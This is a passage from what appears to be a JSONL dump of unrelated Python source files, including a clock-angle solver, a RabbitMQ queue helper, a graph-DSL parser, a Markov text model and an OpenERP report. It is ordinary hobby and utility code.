3:\n\n\n\nInput: hour = 3, minutes = 15\nOutput: 7.5\nExample 4:\n\nInput: hour = 4, minutes = 50\nOutput: 155\nExample 5:\n\nInput: hour = 12, minutes = 0\nOutput: 0\n\n\nConstraints:\n\n1 <= hour <= 12\n0 <= minutes <= 59\nAnswers within 10^-5 of the actual value will be accepted as correct.\n Hide Hint #1\nThe tricky part is determining how the minute hand affects the position of the hour hand.\n Hide Hint #2\nCalculate the angles separately then find the difference.\n\"\"\"\n\n\nclass Solution:\n def angleClock(self, hour: int, minutes: int) -> float:\n # Solution 1 - 36 ms\n \"\"\"\n degreeCoveredByOneHr = 30\n degreeCoveredByOneMin = 6\n\n # base position = 12:00\n # Angle sweeped by minute hand from base position\n angleMadeByMinuteHand = degreeCoveredByOneMin * minutes\n\n # Angle sweeped by hour hand from base position\n angleMadeByHrHand = (degreeCoveredByOneHr * hour) % 360\n extraAngleByHrHand = (minutes / 60) * degreeCoveredByOneHr\n\n # Take the difference of two angles\n angle = abs(angleMadeByMinuteHand - (angleMadeByHrHand + extraAngleByHrHand))\n\n # This is basically done so as to take the shorter angle out of two\n return min(abs(360 - angle), angle)\n \"\"\"\n\n # Solution 2 - 12 ms\n # divide minutes by 5\n # difference of numbers 6 apart (180)\n # difference of 3 apart (90)\n # therefore, difference of 1 apart is 30\n # 1 is 30, 2 is 60, 3 is 90, 4 is 120, 5 is 150, 6 is 180, 7 is 150 ..\n\n # calculate minute angle (minutes * 6)\n minuteAngle = float(minutes * 6)\n hourAngle = (float(hour % 12) * 30.0) + (minutes * 0.5)\n diffAngle = max(hourAngle, minuteAngle) - min(hourAngle, minuteAngle)\n if diffAngle <= 180.0:\n return max(hourAngle, minuteAngle) - min(hourAngle, minuteAngle)\n else:\n return 360 - diffAngle\n\n\n# Main Call\nsolution = Solution()\nhour = 12\nminutes = 30\nprint(solution.angleClock(hour, minutes))","sub_path":"src/integers/angleClock.py","file_name":"angleClock.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"629805262","text":"\r\n ##sports= 'soccer,basketball,football,tennis'\r\n###sports.insert(2,'rugby')\r\n##\r\n###print(sports)\r\n###badSports = sports.pop()\r\n###sports.remove('basketball')\r\n###print('I enjoy {0} but {1} is just not something i care for'.format(sports,badSports))\r\n####sports.split(',')\r\n####print(sports.split(','))\r\n##def nice_message():\r\n## return 'hello david, how are you doing today?'\r\n## print(\r\n##\r\n##blah = nice_message()\r\n##print(blah)\r\ndef master_yoda(new_sentence):\r\n # new_sentence= input('please insert saying:')\r\n st = new_sentence.split()\r\n rt = st[::-1]\r\n return ''.join(rt)\r\n\r\n#master_yoda = reverse('i am home')\r\ntext1 = master_yoda('how is your day')\r\n\r\nprint(text1)\r\n \r\n\r\n\r\n","sub_path":"night _school_methods_and_fuctions.py","file_name":"night _school_methods_and_fuctions.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"103997800","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\n@author: zhanghe\n@software: PyCharm\n@file: rabbit_queue.py\n@time: 2019-04-08 16:48\n\"\"\"\n\nimport pika\nfrom pika.exceptions import AMQPConnectionError, AMQPChannelError, ConnectionClosed\nimport json\nfrom retry import retry\n\n\nclass RabbitQueue(object):\n \"\"\"\n 队列\n \"\"\"\n def __init__(self, conn):\n self.conn = conn\n self.channel = self.conn.channel()\n\n def close_conn(self):\n \"\"\"\n 关闭连接\n :return:\n \"\"\"\n self.conn.close()\n\n def exchange_declare(self, exchange_name='amq.topic'):\n \"\"\"\n 交换机申明\n :param exchange_name:\n :return:\n \"\"\"\n self.channel.exchange_declare(\n exchange=exchange_name,\n exchange_type='topic',\n durable=True,\n )\n\n def queue_declare(self, queue_name='', **arguments):\n \"\"\"\n 队列申明\n :param queue_name:\n :param arguments:\n :return:\n \"\"\"\n self.channel.queue_declare(\n queue=queue_name,\n durable=True,\n arguments=arguments,\n )\n\n def queue_bind(self, exchange_name='amq.topic', queue_name='', binding_key='#'):\n \"\"\"\n 绑定队列\n :param exchange_name:\n :param queue_name:\n :param binding_key:\n :return:\n \"\"\"\n self.channel.queue_bind(\n exchange=exchange_name,\n queue=queue_name,\n routing_key=binding_key\n )\n\n def basic_qos(self):\n self.channel.basic_qos(prefetch_count=1)\n\n def basic_publish(self, message, exchange='amq.topic', routing_key='.'):\n \"\"\"\n 推送队列消息\n :param message:\n :param exchange:\n :param routing_key:\n :return:\n \"\"\"\n if isinstance(message, dict):\n message = json.dumps(message)\n self.channel.basic_publish(\n exchange=exchange,\n routing_key=routing_key,\n body=message,\n properties=pika.BasicProperties(delivery_mode=2)\n )\n print(\" [x] Sent %r\" % (message,))\n\n def ack_message(self, delivery_tag):\n \"\"\"\n Note that `channel` must be the same Pika channel instance via which\n the message being acknowledged was retrieved (AMQP protocol constraint).\n \"\"\"\n if self.channel.is_open:\n self.channel.basic_ack(delivery_tag)\n else:\n # Channel is already closed, so we can't acknowledge this message;\n # log and/or do something that makes sense for your app in this case.\n pass\n\n def basic_get(self, queue_name):\n \"\"\"\n 消费队列消息(非阻塞)\n :return:\n \"\"\"\n method_frame, header_frame, body = self.channel.basic_get(queue_name)\n if method_frame:\n print(\" [x] Get %r\" % (body,))\n print(method_frame, header_frame, body)\n self.ack_message(delivery_tag=method_frame.delivery_tag)\n else:\n print('No message returned')\n\n @retry(AMQPConnectionError, delay=5, jitter=(1, 3))\n def basic_consume(self, on_message_callback, queue_name):\n \"\"\"\n 消费队列消息(阻塞)\n \"\"\"\n self.channel.basic_consume(consumer_callback=on_message_callback, queue=queue_name)\n\n try:\n self.channel.start_consuming()\n except KeyboardInterrupt:\n self.channel.stop_consuming()\n # Don't recover connections closed by server\n except (ConnectionClosed, AMQPChannelError):\n pass\n self.close_conn()\n\n def example_basic_consume_with_callback(self):\n \"\"\"\n 示例: 消费队列消息(阻塞)\n :return:\n \"\"\"\n def callback(ch, method, properties, body):\n print(\" [x] Get %r\" % (body,))\n # raise Exception('test')\n ch.ack_message(delivery_tag=method.delivery_tag)\n\n self.basic_consume(callback)\n\n\n# class RabbitQueueDelay(object):\n# \"\"\"\n# 延时队列\n# q_d_client = RabbitQueueDelay('amq.direct', q_name, ttl=3600*24)\n# \"\"\"\n# def __init__(self, exchange, queue_name, exchange_type='direct', durable=True, **arguments):\n# self.exchange = exchange\n# self.queue_name = queue_name\n# self.delay_queue_name = '%s_delay' % queue_name\n# self.exchange_type = exchange_type\n# self.durable = durable\n# self.arguments = arguments\n# # print u'实例化附加参数:', arguments\n# self.conn = get_conn()\n#\n# self.channel = self.conn.channel()\n# self.channel.confirm_delivery()\n# self.channel.queue_declare(queue=queue_name, durable=durable)\n#\n# # We need to bind this channel to an exchange, that will be used to transfer\n# # messages from our delay queue.\n# self.channel.queue_bind(exchange=self.exchange,\n# queue=queue_name)\n#\n# # 延时队列定义\n# self.delay_channel = self.conn.channel()\n# self.delay_channel.confirm_delivery()\n#\n# # This is where we declare the delay, and routing for our delay channel.\n# self.delay_channel.queue_declare(queue=self.delay_queue_name, durable=durable, arguments={\n# 'x-message-ttl': arguments.get('ttl', 5)*1000, # Delay until the message is transferred in milliseconds.\n# 'x-dead-letter-exchange': self.exchange, # Exchange used to transfer the message from A to B.\n# 'x-dead-letter-routing-key': self.queue_name # Name of the queue we want the message transferred to.\n# })\n#\n# def get_conn(self):\n# \"\"\"\n# 获取连接\n# :return:\n# \"\"\"\n# if not _client_conn.get('conn'):\n# conn_mq = pika.BlockingConnection(\n# pika.ConnectionParameters(\n# host=RABBIT_MQ.get('host', '127.0.0.1'),\n# port=RABBIT_MQ.get('port', 5672),\n# virtual_host=RABBIT_MQ.get('virtual_host', '/'),\n# heartbeat_interval=RABBIT_MQ.get('heartbeat_interval', 0),\n# retry_delay=RABBIT_MQ.get('retry_delay', 3)\n# )\n# )\n# _client_conn['conn'] = conn_mq\n# return conn_mq\n# else:\n# return _client_conn['conn']\n#\n# def close_conn(self):\n# \"\"\"\n# 关闭连接\n# :return:\n# \"\"\"\n# if _client_conn.get('conn'):\n# self.conn.close()\n# _client_conn.pop('conn')\n#\n# def put(self, message):\n# \"\"\"\n# 推送队列消息\n# :param message:\n# :return:\n# \"\"\"\n# if isinstance(message, dict):\n# message = json.dumps(message)\n# self.delay_channel.basic_publish(exchange='',\n# routing_key=self.delay_queue_name,\n# body=message,\n# properties=pika.BasicProperties(\n# delivery_mode=2 if self.durable else 1, # make message persistent\n# ))\n# print \" [x] Sent %r\" % (message,)\n#\n# def get(self):\n# \"\"\"\n# 获取队列消息\n# :return:\n# \"\"\"\n# # data = self.channel.basic_get(self.queue_name)\n# # print data\n# method_frame, header_frame, body = self.channel.basic_get(self.queue_name)\n# if method_frame:\n# print \" [x] Get %r\" % (body,)\n# print method_frame, header_frame, body\n# self.channel.basic_ack(method_frame.delivery_tag)\n# else:\n# print('No message returned')\n#\n# def get_block(self):\n# \"\"\"\n# 获取队列消息(阻塞)\n# direct 模式下多进程消费,进程轮流获取单个消息\n# :return:\n# \"\"\"\n# def callback(ch, method, properties, body):\n# try:\n# print \" [x] Get %r\" % (body,)\n# # raise Exception('test')\n# ch.basic_ack(delivery_tag=method.delivery_tag)\n# except Exception as e:\n# print traceback.print_exc()\n# raise e\n#\n# self.consume(callback)\n#\n# def consume(self, callback):\n# \"\"\"\n# 消费\n# \"\"\"\n# # 处理队列\n# self.channel.basic_consume(consumer_callback=callback, queue=self.queue_name)\n# try:\n# self.channel.start_consuming()\n# except KeyboardInterrupt:\n# self.channel.stop_consuming()\n# self.close_conn()\n\n\nif __name__ == '__main__':\n from app_backend.clients.client_rabbitmq import rabbitmq_client\n rq = RabbitQueue(rabbitmq_client)\n rq.exchange_declare()\n rq.queue_declare()\n binding_keys = ['', '']\n for bind_key in binding_keys:\n rq.queue_bind(binding_key=bind_key)\n\n\n\"\"\"\n这种方式 如果队列中前面的消息延时时间大于后面的时间 那么后面的消息将会被堵塞 应为消息在被消费前才会去检查过期时间\n参考官方文档发现“Only when expired messages reach the head of a queue will they actually be discarded (or dead-lettered).”只有当过期的消息到了队列的顶端(队首),才会被真正的丢弃或者进入死信队列。\n\"\"\"\n","sub_path":"app_common/libs/rabbit_queue.py","file_name":"rabbit_queue.py","file_ext":"py","file_size_in_byte":9383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"454868514","text":"_author_ = \"ikambarov\"\n\nimport random\n\nrandomnumber = random.randrange(0, 10, 1)\n\nprint(\"Please enter number, try #1: \")\nnumber = int(input())\n\nfor i in range(2, 11):\n if number == randomnumber:\n print(\"You got it!\")\n found = 1\n break\n else:\n print(\"Please try again, try#{}: \".format(i))\n number = int(input())\n found = 0\n\nif found == 0:\n print(\"You tried {} times and was not able to guess the number: {}\".format(i-1, randomnumber))","sub_path":"randomnumbergenerator.py","file_name":"randomnumbergenerator.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"57498831","text":"'''Divides a observed spectrum by model spectrum of a spectrophotometric star.'''\n\nimport numpy as np \nimport matplotlib.pyplot as plt \nfrom astropy.io import fits as pyfits\nimport scipy\n\nobserved = '/Users/tomfoster/Desktop/dphil/IRAS23365/IRAS23365_counts.fits' #raw_input(\"Enter the file name of the observed spectrum:\") #Read in files\nmodel = '/Users/tomfoster/Desktop/dphil/IRAS23365/conversion_factor.dat' #raw_input(\"Enter the file name of the model spectrum\")\n\nhdulist1 = pyfits.open(observed) #Open files\n\nfactor = []\nwith open(model, 'r') as f:\n\tfor line in f:\n\t\tfactor.append(float(line))\n\ndata = hdulist1[0].data\n\nfor i in range(len(factor)):\n\tdata[i,:,:] = data[i,:,:]/factor[i]\n\nhdulist1[0].data = data\n\nhdulist1.writeto('/Users/tomfoster/Desktop/dphil/IRAS23365/IRAS23365_flux.fits')","sub_path":"flux_calibrate.py","file_name":"flux_calibrate.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"632090202","text":"from ast import literal_eval\nfrom collections import deque\nimport re\nfrom . import error, ast as _ast\n\nclass Parser:\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.source = ''\n self.pos = 0\n self.stack = deque()\n\n def __enter__(self):\n return self\n\n def __exit__(self, type, value, traceback):\n self.reset()\n\n def feed(self, string):\n self.source += string\n\n def push_state(self):\n self.stack.append((self.source, self.pos))\n\n def pop_state(self):\n self.source, self.pos = self.stack.pop()\n\n def drop_state(self):\n self.stack.pop()\n\n @property\n def state(self):\n return (self.source, self.pos, deque(self.stack))\n\n @state.setter\n def state(self, state):\n self.source, self.pos, self.stack = state\n\n def require(self, condition, error_message):\n if not condition:\n raise error.SyntaxError(error_message, self.pos)\n\n def consume(self, count):\n self.source = self.source[count:]\n self.pos += count\n\nclass StatementParser(Parser):\n eol = re.compile(r'\\n')\n escape_eol = re.compile(r'(?\\'\",$])+')\n sqescape = re.compile(r\"(?,$])')\n\n true_false = re.compile(r'(True|False)(?![^\\s|&()\\[\\]{}<>\\'\",$])')\n none = re.compile(r'(None)(?![^\\s|&()\\[\\]{}<>\\'\",$])')\n\n identifier = re.compile(r'[a-zA-Z_][a-zA-Z0-9_-]*')\n socket_index = re.compile(r'-?\\d+')\n\n def feed(self, string):\n super().feed(string)\n return self.end_of_statement.search(self.source) == None\n\n def parse(self, source=None):\n if source != None:\n self.reset()\n self.source = source\n\n # Remove text after end of statement\n eos = self.end_of_statement.search(self.source)\n if eos:\n self.source = self.source[:eos.start(2)]\n\n # Save source\n original_source = self.source\n\n # Remove backslash from escaped eol\n self.source = self.escape_eol.sub(lambda m: (m.group(1) or '') + '\\n', self.source)\n\n # Save source\n stripped_source = self.source\n\n # source := whitespace? named_graph | pipe_expression comment?$\n\n ast = None\n\n self.whitespace()\n\n try:\n ast = self.named_graph()\n if not ast:\n ast = self.pipe_expression()\n ast = _ast.Graph(ast) if ast else ast\n\n self.comment()\n self.require(len(self.source) == 0, \"unexpected token\")\n\n except error.SyntaxError as e:\n newlines = [m.start() for m in self.eol.finditer(original_source)]\n\n line_number = stripped_source.count('\\n', 0, e.col)\n e.col = e.col - stripped_source.rfind('\\n', 0, e.col) - 1\n\n line_start = newlines[line_number-1]+1 if line_number else 0\n line_end = newlines[line_number] if line_number < len(newlines) else len(original_source)\n\n e.line = line_number\n e.source = original_source[line_start:line_end]\n\n raise\n\n return ast\n\n def literal(self, string):\n if not self.source.startswith(string):\n return False\n self.consume(len(string))\n return True\n\n def regex(self, pattern):\n m = pattern.match(self.source)\n if not m:\n return None\n s = m.group()\n self.consume(m.end())\n return s\n\n def whitespace(self):\n # whitespace := ws\n return self.regex(self.ws)\n\n def comment(self):\n if self.literal('#'):\n self.consume(len(self.source))\n return True\n\n return False\n\n def named_graph(self):\n # named_graph := identifier ( '.' identifier )? whitespace? ':' whitespace? pipe_expression\n\n self.push_state()\n\n group = ''\n name = self.regex(self.identifier)\n if not name:\n self.pop_state()\n return None\n\n if self.literal('.'):\n group = name\n name = self.regex(self.identifier)\n if not name:\n self.pop_state()\n return None\n\n self.whitespace()\n\n if not self.literal(':'):\n self.pop_state()\n return None\n\n self.drop_state()\n self.whitespace()\n\n expr = self.pipe_expression()\n self.require(expr, \"expression or node expected\")\n\n return _ast.NamedGraph(group, name, expr)\n\n def binary_expression(self, op, subexpr, ast_class):\n # binary_expression := subexpr ( op whitespace? subexpr )*\n\n side = subexpr()\n\n if side is None or not self.source.startswith(op):\n return side\n\n ast = ast_class()\n ast.append(side)\n\n while self.literal(op):\n self.whitespace()\n\n side = subexpr()\n self.require(side, \"expression or node expected\")\n\n ast.append(side)\n\n return ast\n\n def pipe_expression(self):\n # pipe_expression := pipe_and_mix_expression ( '|' whitespace? pipe_and_mix_expression )*\n return self.binary_expression('|', self.pipe_and_mix_expression, _ast.PipeExpression)\n\n def pipe_and_mix_expression(self):\n # pipe_and_mix_expression := mix_expression ( '|&' whitespace? mix_expression )*\n return self.binary_expression('|&', self.mix_expression, _ast.PipeAndMixExpression)\n\n def mix_expression(self):\n # mix_expression := pipe_and_join_expression ( '&' whitespace? pipe_and_join_expression )*\n return self.binary_expression('&', self.pipe_and_join_expression, _ast.MixExpression)\n\n def pipe_and_join_expression(self):\n # pipe_and_join_expression := join_expression ( '|&&' whitespace? join_expression )*\n return self.binary_expression('|&&', self.join_expression, _ast.PipeAndJoinExpression)\n\n def join_expression(self):\n # join_expression := expression_group ( '&' whitespace? expression_group )*\n return self.binary_expression('&&', self.expression_group, _ast.JoinExpression)\n\n def expression_group(self):\n # expression_group := ( '(' whitespace? pipe_expression ')' whitespace? ) | node\n\n if not self.literal('('):\n return self.node()\n\n self.whitespace()\n\n expr = self.pipe_expression()\n self.require(expr, \"expression or node expected\")\n\n self.require(self.literal(')'), \"')' expected\")\n self.whitespace()\n\n return expr\n\n def node(self):\n # node := socket_spec? identifier ( '.' identifier )? ( whitespace arg )* whitespace? socket_spec?\n\n input_spec = self.socket_spec()\n\n group = ''\n name = self.regex(self.identifier)\n if not name:\n return None\n\n if self.literal('.'):\n group = name\n name = self.regex(self.identifier)\n self.require(name, \"identifier expected\")\n\n ast = _ast.Node(group, name)\n\n while self.whitespace():\n arg = self.arg()\n if arg is ...:\n break\n if type(arg) is tuple:\n ast.kwargs[arg[0]] = arg[1]\n else:\n ast.args.append(arg)\n\n output_spec = self.socket_spec()\n\n if input_spec:\n ast.input_spec = input_spec\n if output_spec:\n ast.output_spec = output_spec\n\n return ast\n\n def socket_spec(self):\n # socket_spec := '<' whitespace? ( ( socket_index | identifier | '...' ) whitespace? ( ',' whitespace? ( socket_index | identifier | '...' ) whitespace? )* ','? whitespace? )? '>' whitespace?\n\n if not self.literal('<'):\n return None\n\n self.whitespace()\n\n ast = _ast.SocketSpec()\n\n socket = self.regex(self.socket_index)\n if socket:\n ast.append(int(socket))\n else:\n socket = self.regex(self.identifier)\n if socket:\n ast.append(socket)\n elif self.literal('...'):\n ast.append(-1)\n else:\n self.require(self.literal('>'), \"'>' or socket expected\")\n self.whitespace()\n\n ast.append(None) # Add None element to mark empty specifier\n\n return ast\n\n self.whitespace()\n\n while self.literal(','):\n self.whitespace()\n\n socket = self.regex(self.socket_index)\n if socket:\n ast.append(int(socket))\n else:\n socket = self.regex(self.identifier)\n if socket:\n ast.append(socket)\n elif self.literal('...'):\n ast.append(-1)\n else:\n break\n\n self.whitespace()\n\n self.require(self.literal('>'), \"'>' expected\")\n self.whitespace()\n\n return ast\n\n def arg(self):\n # arg := ( identifier '=' value ) | value\n\n self.push_state()\n\n key = self.regex(self.identifier)\n if key and self.literal('='):\n self.drop_state()\n\n value = self.value()\n self.require(value is not ..., \"argument value expected\")\n\n return (key, value)\n\n self.pop_state()\n\n return self.value()\n\n def value(self):\n # value := dict | graph | list | boolean | none | string\n\n value = self.dict()\n if value is not None:\n return value\n\n value = self.graph()\n if value:\n return _ast.Graph(value, True)\n\n value = self.list()\n if value:\n return value\n\n value = self.boolean()\n if value is not None:\n return value\n\n value = self.regex(self.none)\n if value:\n return None\n\n value = self.string()\n if value is not None:\n return value\n\n return ...\n\n def graph(self):\n # graph := '{' whitespace? pipe_expression '}'\n\n if not self.literal('{'):\n return None\n\n self.whitespace()\n\n ast = self.pipe_expression()\n self.require(ast, \"expression or node expected\")\n\n self.require(self.literal('}'), \"'}' expected\")\n\n return ast\n\n def dict(self):\n # dict := '{' whitespace? ( dict_item whitespace? ( ',' whitespace? dict_item whitespace? )* ','? whitespace? )? '}'\n\n self.push_state()\n\n if not self.literal('{'):\n self.pop_state()\n return None\n\n self.whitespace()\n\n try:\n item = self.dict_item()\n except:\n self.drop_state()\n raise\n\n if not item:\n if self.literal('}'): # Empty braces -> empty dict\n self.drop_state()\n return {}\n else:\n self.pop_state()\n return None # Fail gracefully - we could be trying to parse a graph\n\n self.drop_state()\n self.whitespace()\n\n items = [ item ]\n\n while self.literal(','):\n self.whitespace()\n\n item = self.dict_item()\n if not item:\n break\n items.insert(0, item)\n\n self.whitespace()\n\n self.require(self.literal('}'), \"'}' expected\")\n\n return dict(items)\n\n def dict_item(self):\n # dict_item := quoted_string whitespace? ':' whitespace? value\n\n key = self.quoted_string()\n if not key:\n return None\n\n self.whitespace()\n self.require(self.literal(':'), \"':' expected\")\n self.whitespace()\n\n value = self.value()\n self.require(value is not ..., \"item value expected\")\n\n return (key, value)\n\n def list(self):\n # list := '[' whitespace? ( value whitespace? ( ',' whitespace? value whitespace? )* ','? whitespace? )? ']'\n\n if not self.literal('['):\n return None\n\n self.whitespace()\n\n value = self.value()\n if value is ...:\n self.require(self.literal(']'), \"']' or value expected\")\n return []\n\n self.whitespace()\n\n values = [ value ]\n\n while self.literal(','):\n self.whitespace()\n\n value = self.value()\n if value is ...:\n break\n\n values.append(value)\n\n self.whitespace()\n\n self.require(self.literal(']'), \"']' expected\")\n\n return values\n\n def boolean(self):\n # boolean := 'true' | 'false'\n\n m = self.regex(self.true_false)\n if not m:\n return None\n elif m == 'True':\n return True\n else:\n return False\n\n def string(self):\n # string := quoted_string | free_string\n\n s = self.quoted_string()\n if s is not None:\n return s\n\n s = self.regex(self.frstr)\n if s is not None:\n return literal_eval('\"' + self.frescape.sub(r'\\1', s) + '\"')\n\n return None\n\n def quoted_string(self):\n # quoted_string := ( \"'\" sqstr \"'\" ) | ( '\"' dqstr '\"' )\n\n s = None\n\n if self.literal(\"'\"):\n s = self.regex(self.sqstr)\n\n if not self.literal(\"'\"):\n raise error.SyntaxError(\"unterminated string literal\", self.pos)\n\n s = self.sqescape.sub(\"'\", s.replace('\\n', ''))\n\n elif self.literal('\"'):\n s = self.regex(self.dqstr)\n\n if not self.literal('\"'):\n raise error.SyntaxError(\"unterminated string literal\", self.pos)\n\n s = literal_eval('\"' + s.replace('\\n', '') + '\"')\n\n return s\n\nclass DocumentParser(Parser):\n def __init__(self):\n self.parser = StatementParser()\n super().__init__()\n\n def parse(self, source=None):\n if source is not None:\n self.reset()\n self.source = source\n\n statements = []\n lines = self.source.splitlines()\n\n pos = 0\n\n for line in lines:\n pos += 1\n if not self.parser.feed(line+'\\n'):\n with self.parser:\n try:\n ast = self.parser.parse()\n if ast:\n statements.append(ast)\n except error.SyntaxError as e:\n e.line += self.pos\n raise\n self.pos = pos\n elif pos == len(lines):\n raise error.SyntaxError(\"unterminated statement\", len(line), pos-1, line)\n\n self.reset()\n\n return statements\n","sub_path":"nodish/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":14834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"532222081","text":"import stdio\nimport stdrandom\nimport sys\n\n\nclass MarkovModel(object):\n \"\"\"\n Represents a Markov model of order k from a given text string.\n \"\"\"\n\n def __init__(self, text, k):\n \"\"\"\n Create a Markov model of order k from given text (assumed\n to have length at least k).\n \"\"\"\n\n # Add first k chars of text to end to make it circular\n text = text + text[:k]\n\n # Create empty dictionary for holding frequencies\n st = dict()\n for i in range(len(text) - k):\n\n # Get next k chars and add them to dict\n s = text[i: i + k]\n if s not in st:\n st[s] = {}\n\n # Get the next char and add one to its frequency\n c = text[i + k]\n if c in st[s]:\n st[s][c] += 1\n else:\n st[s][c] = 1\n\n # Add properties to MarkovModel instance\n self.st = st\n self.k = k\n\n def order(self):\n \"\"\"\n Return order of Markov model.\n \"\"\"\n\n return self.k\n\n def kgram_freq(self, kgram):\n \"\"\"\n Return number of occurrences of kgram in text.\n \"\"\"\n\n if len(kgram) != self.order():\n raise ValueError(\"kgram length not equal to order\")\n elif kgram not in self.st:\n return 0\n else:\n return sum(v for v in self.st[kgram].values())\n\n def char_freq(self, kgram, c):\n \"\"\"\n Return number of times character c follows kgram.\n \"\"\"\n\n if len(kgram) != self.order():\n raise ValueError(\"kgram length not equal to order\")\n elif kgram not in self.st or c not in self.st[kgram]:\n return 0\n else:\n return self.st[kgram][c]\n\n def rand(self, kgram):\n \"\"\"\n Return a random character following kgram.\n \"\"\"\n\n if len(kgram) != self.order():\n raise ValueError(\"kgram length not equal to order\")\n elif kgram not in self.st:\n raise ValueError(\"kgram not in Markov model\")\n else:\n # 0 <= rand <= kgram freq\n rand_num = stdrandom.uniformInt(1, self.kgram_freq(kgram) + 1)\n\n # Decrement rand by the char_freq until it hits 0\n for c in self.st[kgram].keys():\n rand_num -= self.char_freq(kgram, c)\n if rand_num <= 0:\n return c\n\n def gen(self, kgram, T):\n \"\"\"\n Generate and return a string of length T by simulating a trajectory\n through the correspondng Markov chain. The first k (<= T) characters\n of the generated string is the argument kgram.\n \"\"\"\n\n s = kgram\n for i in range(T - self.order()):\n s += self.rand(s[len(s) - self.order():])\n\n return s\n\n def replace_unknown(self, corrupted):\n \"\"\"\n Replace unknown characters (~) in corrupted with most probable\n characters, and return that string.\n \"\"\"\n\n original = ''\n for i in range(len(corrupted)):\n if corrupted[i] == '~':\n\n # Used to keep track of the best possibility\n best_probability = 0\n best_char = None\n\n # Iterate over all possibilities\n kgram = corrupted[i - self.order():i]\n for c in self.st[kgram].keys():\n\n # Construct a possibility to test a character\n test = corrupted[:i] + c + corrupted[i + 1:]\n probability = 1.0\n\n # Perform various tests to see the probability\n for j in range(self.order() + 1):\n test_kgram = test[i + j - self.order():i + j]\n if self.kgram_freq(test_kgram) > 0:\n probability *= (\n self.char_freq(test_kgram, test[i + j])\n / self.kgram_freq(test_kgram)\n )\n else:\n probability = 0\n\n # Compare the probability of this char to the best\n if best_probability <= probability:\n best_probability = probability\n best_char = c\n\n # Add the best match to the string\n original += best_char\n\n else:\n original += corrupted[i]\n\n return original\n\n\ndef _main():\n \"\"\"\n Test client [DO NOT EDIT].\n \"\"\"\n\n text, k = sys.argv[1], int(sys.argv[2])\n model = MarkovModel(text, k)\n a = []\n while not stdio.isEmpty():\n kgram = stdio.readString()\n char = stdio.readString()\n a.append((kgram.replace(\"-\", \" \"), char.replace(\"-\", \" \")))\n for kgram, char in a:\n if char == ' ':\n stdio.writef('freq(%s) = %s\\n', kgram, model.kgram_freq(kgram))\n else:\n stdio.writef('freq(%s, %s) = %s\\n', kgram, char,\n model.char_freq(kgram, char))\n\n\nif __name__ == '__main__':\n _main()\n","sub_path":"markov_model.py","file_name":"markov_model.py","file_ext":"py","file_size_in_byte":5085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"244587909","text":"# Project Euler: Problem 23\n# Non-abundant sums\n# 2016-03-11 23:22:50\nimport time\nstartTime = time.clock()\n########################\nimport math\ndef computeProperDivisorSum(n):\n\t\"\"\"\n\tcompute the sum of proper divisor\n\t\"\"\"\n\tsqrtN = int(math.sqrt(n))\n\tsumN = 0\n\tfor x in range(2, sqrtN + 1):\n\t\tif n % x == 0:\n\t\t\tsumN += x + n // x\n\tif n != sqrtN * sqrtN:\n\t\treturn sumN + 1\n\telse:\n\t\treturn sumN + 1 - sqrtN\n\nabundantList = []\nfor x in range(12, 28123):\n\tif computeProperDivisorSum(x) > x:\n\t\tabundantList.append(x)\n\t# compute all abundant numbers\n\nsumList = {}\nfor x in range(1, 28123):\n\tsumList[x] = ''\n\t# generate a dict\n\nfor x in abundantList:\n\tfor y in abundantList:\n\t\tif (x + y) in sumList:\n\t\t\tsumList.pop(x + y)\n\t# delete Non-abundant sums\n\nprint(sum([x for x in sumList]))\n######################\nendTime = time.clock()\nprint(\"time spent: %f s\" % (endTime - startTime))","sub_path":"023.py","file_name":"023.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"176850575","text":"#coding: utf-8 \n##############################################################################\n#\n# NCTR, Nile Center for Technology Research\n# Copyright (C) 2011-2012 NCTR ().\n#\n##############################################################################\n\nimport time\nfrom report import report_sxw\nfrom datetime import timedelta,date\n\n#----------------------------------------\n# Class building insurance report\n#----------------------------------------\nclass building_insurance_report(report_sxw.rml_parse):\n def __init__(self, cr, uid, name, context):\n super(building_insurance_report, self).__init__(cr, uid, name, context)\n self.localcontext.update({\n 'time': time,\n 'line1':self._getdata1,\n })\n \n def _getdata1(self,data):\n date_from= data['form']['date_from']\n date_to= data['form']['date_to']\n building_id= data['form']['building_id']\n state= data['form']['state']\n insurance_obj = self.pool.get('building.insurance')\n insurance_line_obj = self.pool.get('building.insurance.line')\n domain = [('date','>=', date_from),('date','<=', date_to)]\n if building_id:\n insurance_line_ids = insurance_line_obj.search(self.cr, self.uid, [('building_id','=',building_id[0])])\n insurance_ids = insurance_line_ids and [line.insurance_id.id for line in insurance_line_obj.browse(self.cr, self.uid,insurance_line_ids)] or []\n domain.append(('id','in',tuple(insurance_ids)))\n if state :\n if state =='completed':\n domain.append(('state','=','done'))\n else: \n domain.append(('state','!=','done'))\n \n insurance_ids = insurance_obj.search(self.cr, self.uid, domain, order=\"id\")\n return insurance_obj.browse(self.cr,self.uid,insurance_ids)\n \nreport_sxw.report_sxw('report.building_insurance.report', 'building.insurance', 'addons/building_management/report/building_insurance_report.rml' ,parser=building_insurance_report,header=False)\n","sub_path":"v_7/NISS/shamil_v3/building_management/report/building_insurance_report.py","file_name":"building_insurance_report.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"239018997","text":"import complex\nimport vectors_matrices as vm\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n# Función auxiliar\ndef action(m1, v1):\n if 